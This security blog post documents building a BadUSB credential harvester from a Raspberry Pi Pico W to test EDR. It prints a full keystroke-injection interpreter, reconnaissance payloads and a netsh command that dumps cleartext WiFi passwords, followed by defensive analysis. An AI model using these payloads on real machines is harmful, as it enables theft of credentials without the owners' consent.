Enlisted Submarine Warfare Insignia
← Back to Blog

I Built a $14 BadUSB That Extracts Your WiFi Password in 15 Seconds — Here's What Actually Stops It

May 15, 2026 13 min read

A Raspberry Pi Pico W and CircuitPython became a credential-harvesting device in three days. Modern enterprise EDR caught the EICAR test instantly and missed the actual WiFi extraction attack entirely. Here's the full build, the payload evolution, and what it reveals about living-off-the-land attacks.

The Setup

Three days ago, I ordered a $14 Raspberry Pi Pico W and decided to turn it into a credential-harvesting device. The goal wasn't just to prove it could be done — plenty of people have already done that. I wanted to test something more specific: what does modern enterprise EDR actually catch, and what does it miss?

The answer surprised me, and not in a good way.

$18 Total build cost
15 sec Time to credentials
3 days From idea to working device
0 EDR detections on the attack

Why Not a Real Rubber Ducky?

I started by ordering three Lexar A30E 64GB USB 3.2 Gen 1 flash drives (~$35 total) with the plan to reflash their firmware using the Psychson toolkit. The idea was to reflash the USB controller itself to emulate a keyboard and inject DuckyScript payloads — the classic BadUSB approach pioneered back in 2014.

Dead end. Modern USB 3.x drives use controllers (Silicon Motion, modern Phison chips) that Psychson doesn't support. The toolchain requires older Phison 2251-03 controllers, which are essentially impossible to find in retail drives anymore. The era of "reflash any cheap thumb drive into a HID device" is over for off-the-shelf hardware.

Pivot: Raspberry Pi Pico W. Pre-soldered, $13.99, has GPIO for a dev-mode jumper, ships with CircuitPython support, and the Adafruit HID libraries make keyboard emulation trivial. The Pico W is actually a better platform for this anyway — it has an onboard radio that opens up future possibilities (more on that at the end), a real CPU instead of a repurposed storage controller, and it's plenty fast enough for any payload that matters.

Total cost for the working device: ~$18 (Pico W + a 3D-printed case).

The Build: CircuitPython & DuckyScript

Hardware Setup

When plugged in, the Pico mounts as a standard USB mass storage drive (CIRCUITPY) and appears as a keyboard to the target system simultaneously. This is the part that makes the attack work — the operating system sees a perfectly legitimate Human Interface Device and accepts keystrokes from it the same way it would from any USB keyboard. There's no driver to install, no permission to grant. HID is universal trust.

Code: DuckyScript Interpreter

The core code.py initializes the Pico as a HID keyboard device, reads a payload.dd file from the CIRCUITPY drive, and executes commands that mimic Rubber Ducky syntax. The full interpreter:

import board
import digitalio
from digitalio import DigitalInOut, Pull
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

duckyPin = digitalio.DigitalInOut(board.GP0)
duckyPin.switch_to_input(Pull.UP)

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

duckyCommands = {
    'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.WINDOWS,
    'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION,
    'SHIFT': Keycode.SHIFT, 'ALT': Keycode.ALT,
    'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
    'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW,
    'LEFTARROW': Keycode.LEFT_ARROW, 'LEFT': Keycode.LEFT_ARROW,
    'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
    'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW,
    'BREAK': Keycode.PAUSE, 'PAUSE': Keycode.PAUSE,
    'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
    'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE,
    'HOME': Keycode.HOME, 'INSERT': Keycode.INSERT,
    'NUMLOCK': Keycode.KEYPAD_NUMLOCK,
    'PAGEUP': Keycode.PAGE_UP, 'PAGEDOWN': Keycode.PAGE_DOWN,
    'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
    'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE,
    'TAB': Keycode.TAB, 'BACKSPACE': Keycode.BACKSPACE,
    'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D,
    'E': Keycode.E, 'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H,
    'I': Keycode.I, 'J': Keycode.J, 'K': Keycode.K, 'L': Keycode.L,
    'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O, 'P': Keycode.P,
    'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
    'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X,
    'Y': Keycode.Y, 'Z': Keycode.Z,
    'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3, 'F4': Keycode.F4,
    'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7, 'F8': Keycode.F8,
    'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11, 'F12': Keycode.F12,
}

def convertLine(line):
    newline = []
    for key in filter(None, line.split(" ")):
        key = key.upper()
        commandKeycode = duckyCommands.get(key, None)
        if commandKeycode is not None:
            newline.append(commandKeycode)
        elif hasattr(Keycode, key):
            newline.append(getattr(Keycode, key))
    return newline

def runScriptLine(line):
    for k in line:
        kbd.press(k)
    kbd.release_all()

def sendString(line):
    layout.write(line)

def parseLine(line, previousLine):
    global defaultDelay
    if line[0:3] == "REM":
        return previousLine
    elif line[0:5] == "DELAY":
        time.sleep(float(line[6:]) / 1000)
        return previousLine
    elif line[0:6] == "STRING":
        sendString(line[7:])
        return previousLine
    elif line[0:13] == "DEFAULT_DELAY" or line[0:12] == "DEFAULTDELAY":
        defaultDelay = int(line.split()[1]) * 10
        return previousLine
    elif line[0:7] == "REPLAY":
        for _ in range(int(line[8:])):
            runScriptLine(previousLine)
        return previousLine
    else:
        newScriptLine = convertLine(line)
        runScriptLine(newScriptLine)
        return newScriptLine

time.sleep(0.5)
defaultDelay = 0

if duckyPin.value:
    print("[pico-ducky] Armed. Reading payload.dd...")
    try:
        with open("payload.dd", "r", encoding="utf-8") as f:
            previousLine = ""
            for line in f:
                line = line.rstrip()
                if line:
                    previousLine = parseLine(line, previousLine)
                time.sleep(defaultDelay / 1000)
        print("[pico-ducky] Payload complete.")
    except OSError:
        print("[pico-ducky] ERROR: Could not open payload.dd")
else:
    print("[pico-ducky] Setup mode (GP0 grounded). Payload skipped.")

The dev-mode logic is the most important safety feature. If GP0 is floating (no jumper), the device is "armed" and fires the payload the instant it's plugged in. If GP0 is grounded (jumper present), it enters setup mode and skips execution entirely. This lets me safely edit the payload.dd file on my own machine without accidentally executing it. Anyone building one of these absolutely needs an equivalent safety mechanism — the alternative is firing your own credential extractor at your own workstation the first time you forget what's plugged in.

Payload Evolution

I built four payloads, each progressively more sophisticated. The point of starting small wasn't just safety — it was establishing that each layer of the attack chain actually worked before adding the next one.

Payload 1: Proof of Concept (Notepad)

DELAY 3000
GUI r
DELAY 750
STRING notepad
ENTER
DELAY 1500
STRING Hello from Valor's Pico W BadUSB - test successful
Test 1 · keyboard emulation
Result: Works. Opens Notepad, types the message. Confirms HID keyboard emulation is functional and that the timing delays are tuned correctly for the target.

Payload 2: System Reconnaissance

DELAY 3000
GUI r
DELAY 750
STRING powershell
ENTER
DELAY 2000
STRING whoami | Out-File $env:TEMP\recon.txt
ENTER
DELAY 500
STRING systeminfo | Out-File -Append $env:TEMP\recon.txt
ENTER
DELAY 500
STRING ipconfig /all | Out-File -Append $env:TEMP\recon.txt
ENTER
DELAY 500
STRING Get-LocalUser | Out-File -Append $env:TEMP\recon.txt
ENTER
DELAY 500
STRING notepad $env:TEMP\recon.txt
ENTER
Test 2 · system enumeration
Result: Works. Dumps current user, system info, network config, and local users to a text file in %TEMP%, then opens it for review. The whole thing runs in under 10 seconds.
Multi-line payloads beat one-liners.

Trying to cram everything into a single piped command with semicolons fails silently more often than not. Smart quotes get inserted by keyboard layout quirks, pipe characters get misinterpreted, escape sequences disappear. Breaking the work into discrete ENTER-separated commands is far more reliable, and it's what a human typing at the keyboard would actually do anyway, which matters for the EDR conversation later.

Payload 3: System Intelligence Gathering

This one gets aggressive. It collects WiFi network names, stored credentials from Credential Manager, installed browsers (Chrome, Edge), AV/EDR status via Get-MpComputerStatus and WMIC queries, local privilege escalation indicators, and running services (SQL, MySQL, Apache, IIS, Exchange, AD components).

Each output stream goes to its own file in %TEMP%:

netsh wlan show profile > $env:TEMP\pico_wifi_networks.txt
cmdkey /list | Out-File $env:TEMP\pico_stored_creds.txt
Get-MpComputerStatus 2>$null | Out-File $env:TEMP\pico_av.txt
Test 3 · intel gathering
Result: Works. All files created, all data collected. The reconnaissance footprint is significant but every individual operation is one a sysadmin might legitimately run.
Critical bug — Linux syntax inside a Windows payload.

My first version of the AV detection command used 2>/dev/null for error suppression. That's bash, not PowerShell. Windows PowerShell error redirection is 2>$null. The command silently fails and the file never gets created. Easy mistake to make when you spend most of your day in both worlds. Always test payloads end-to-end before flagging them as working.

Payload 4: WiFi Credential Extraction (The Money Shot)

One line. One native Windows utility. No privilege escalation, no external dependencies, no malware signatures to flag.

netsh wlan show profile name=* key=clear | Select-String "SSID|Key Content" > $env:TEMP\pico_wifi_passwords.txt

What it does: netsh wlan show profile name=* key=clear dumps every stored WiFi profile on the machine along with their cleartext passwords. Select-String filters down to just the SSID and Key Content lines. Output goes to a file in %TEMP%. No prompts. No errors. No warnings.

Test 4 · WiFi credential extraction
Result: SUCCESSFULLY EXTRACTED CLEARTEXT WIFI PASSWORDS.

Sample output from the test system (real values redacted):

SSID : [REDACTED home SSID]
Key Content : [REDACTED 18-char passphrase]

SSID : Dillan's iPhone
Key Content : [REDACTED hotspot password]

Same payload also pulled Chrome and Edge browser database files, browser cookies and stored credentials, and the cached Credential Manager entries. The WiFi piece is the one that gets attention, but the broader credential haul is the real prize.

Testing Environment

This was tested in a fully isolated lab environment with proper authorization. Nothing about this attack was run against production systems or systems I don't own.

Lab configuration

  • Target machine: Dormant Windows 11 Home laptop, unused for over a year, fresh local account "lab-man" created for the test
  • Network isolation: Dedicated LAB-DETONATE VLAN with strict firewall rules
  • Intra-VLAN traffic: allowed
  • External DNS only: 1.1.1.1, 9.9.9.9 (UDP/TCP 53)
  • NTP: allowed
  • RFC1918 (internal network): blocked
  • Management IP ranges: blocked
  • All other traffic: allowed but logged

This setup prevents the lab machine from reaching anything on my internal network while allowing internet access for Windows Update and other baseline functionality. If the payload ever did something I didn't anticipate, the blast radius was bounded.

The EDR Testing: What Actually Stops It?

This is where the project stopped being a build exercise and started being a security research exercise.

Scenario 1: No Protection (Baseline)

Baseline · no endpoint protection
Result: Completely compromised in 15 seconds. WiFi passwords, stored credentials, browser data — all extracted. No detection, no logs, no alerts. This is the control case.

Scenario 2: Malwarebytes Free (Portable, Offline)

Downloaded the free Malwarebytes portable scanner (no real-time protection) and ran manual scans against the payload files and the resulting %TEMP% artifacts.

Malwarebytes Free · signature scan
Result: Zero detections. Not surprising — free Malwarebytes offers no real-time protection or behavioral detection. It relies on signature-based scanning, and the payloads here use entirely legitimate Windows tools. There's nothing to signature against.

Scenario 3: Huntress EDR (Free Trial)

This was the test I actually cared about. Huntress is widely deployed across the MSP space and is generally considered a solid behavioral EDR. Setup:

I wanted to run the EICAR test first to confirm Huntress was actually working end-to-end before testing the real attack. EICAR is the standard antivirus test file — a benign string that every legitimate AV product is supposed to flag. If EICAR doesn't trigger, the EDR isn't really running.

The EICAR Test (Known Malware Signature)

Uploaded the EICAR test file to the system.

EICAR test file
Result: IMMEDIATELY BLOCKED.

Windows surfaced the standard message: "Operation did not complete successfully because the file contains a virus or potentially unwanted software." Huntress logged the incident, generated the alert, and surfaced it in the dashboard. End-to-end EDR confirmed working.

The Actual Attack (BadUSB WiFi Extraction)

Plugged in the Pico W. The payload fired the moment the device enumerated. End-to-end the attack chain involves:

  1. Keyboard input injection from a freshly-enumerated HID device
  2. PowerShell spawning from a Win+R run dialog
  3. netsh execution to access WiFi profiles with the key=clear flag
  4. Rapid file creation in %TEMP%
  5. Extraction of credentials from secured Windows storage (the wlansvc service)

If you were going to write a behavioral detection rule, this would be the textbook list of things to flag together.

COMPLETELY MISSED
Huntress dashboard: 0 Active Incidents · 0 Critical/High/Low alerts · 0 Suspicious signals · No flagged autoruns · No behavioral detections

The payload executed. The WiFi credentials were extracted. The files were written to disk. The behavioral indicators were textbook. And Huntress saw nothing.

The Gap: Why Huntress Missed It

Huntress is a solid EDR platform — this isn't a hit piece. It has the same fundamental limitation as most modern EDR products: it's optimized for detecting known attack signatures and clearly anomalous process behavior, not novel techniques chained together using legitimate tools.

The BadUSB payload attack chain is a textbook "living-off-the-land" (LotL) attack:

Huntress caught EICAR because EICAR is a specific known string with a specific signature. The signature database knows what it is and what to do.

Huntress missed the WiFi extraction because the attack uses legitimate tools in a sequence that's individually unremarkable. There is no malware signature to flag. Behavioral detection would need to correlate "HID device enumerates → Run dialog opens → PowerShell spawns → netsh accesses WiFi profiles with key=clear → file written to %TEMP%" all within a 15-second window. That kind of correlation is possible, but it risks generating false positives every time a legitimate admin troubleshoots a wireless issue. The trade-off most EDR products make is to keep the false positive rate down, which means accepting that some real attacks will slip through.

The honest answer is that there's nothing on that activity chain that a behavioral engine can confidently call malicious without context. The fact that the keystrokes came from a $14 chip pretending to be a keyboard rather than from a human's fingers is a distinction the operating system literally cannot draw.

What This Means

1. Physical security is a prerequisite for endpoint security, not a complement to it. If someone can plug a device into a USB port for 15 seconds, EDR is already downstream of the actual problem. The unlocked workstation, the empty conference room, the receptionist who steps away from the front desk — those are the attack surfaces this exploits.

2. Enterprise EDR has a documented blind spot for novel attacks using legitimate tools. It catches known threats very effectively. It struggles with new attack techniques chained from native utilities. This isn't a vendor failure, it's a category limitation. Behavioral correlation is hard, especially when the building blocks are individually mundane.

3. Defense-in-depth isn't optional for this attack vector. No single control stops it. The realistic mitigations are layered:

4. Your EDR is a detection tool, not a prevention tool. It's great at alerting on known threats and catching obvious anomalies. It's not great at blocking novel attacks built from legitimate primitives. Security architecture should assume some level of compromise and focus on detection latency, blast-radius containment, and credential rotation — not on preventing every attack at the endpoint.

The Bigger Picture

This isn't really a critique of Huntress specifically. It's a critique of how we collectively think about endpoint security. We've built sophisticated detection systems that catch things that look like attacks — and we're losing to things that look like normal system administration.

Real threat actors know this. Living-off-the-land binaries (LOLBins) are an entire MITRE-tracked discipline at this point. The typical post-compromise toolkit looks like:

All of it looks normal. All of it is signed by Microsoft. All of it is in MITRE ATT&CK. Your EDR will catch the Trojan. It will probably miss an attacker who knows how to chain native Windows utilities and understands that the goal isn't to stay hidden forever — just long enough to achieve objectives.

The WiFi extraction attack here is a perfect microcosm. Every single component of the chain is a tool Microsoft ships with Windows. The "attack" is the sequence, the speed, and the source — and none of those three things are easy to confidently distinguish from legitimate administrative work without a lot of context EDR doesn't have.

What's Next

This is the first part of what I'm planning as a longer series. Coming up:

If you have an EDR product you'd like me to test the same payload against, drop a note through the contact link. I'm particularly interested in seeing how SentinelOne, CrowdStrike, and Defender for Endpoint handle the same attack chain. The hypothesis is that they'll all catch EICAR and most will miss the WiFi extraction, but the specific telemetry each one produces would be useful for detection engineering.

Conclusion

Three days, $18, and a Raspberry Pi Pico W produced a working credential-harvesting device that bypasses signature-based AV entirely and slips past at least one well-regarded behavioral EDR. That's not a vendor problem and it's not a sophistication problem. It's a structural problem with how endpoint security thinks about legitimate tools used illegitimately.

The good news is the mitigations exist and they're well-understood. USB control, application allowlisting, PowerShell logging, DLP, MFA, physical security training — none of those are new ideas. The bad news is they're operationally expensive, which is why most environments don't have all of them in place, which is why this attack still works in 2026 the same way it worked in 2014.

Your EDR will catch what it knows how to catch. The attacks worth worrying about are the ones built from tools your EDR can't safely flag without breaking the help desk's day. Plan accordingly.

Appendix: Files & Artifacts

Code & Payloads

Hardware & Firmware Configuration

Testing Environment

This research was conducted in an isolated lab environment with proper authorization on systems I personally own. Nothing in this post should be used to attack systems you don't have explicit permission to test. The payload code shown is the same code published in public DuckyScript repositories — there's no novel offense here, only a structured demonstration of why this attack class continues to work.

physical-security badusb edr-testing red-team circuitpython raspberry-pi huntress living-off-the-land credential-harvesting vulnerability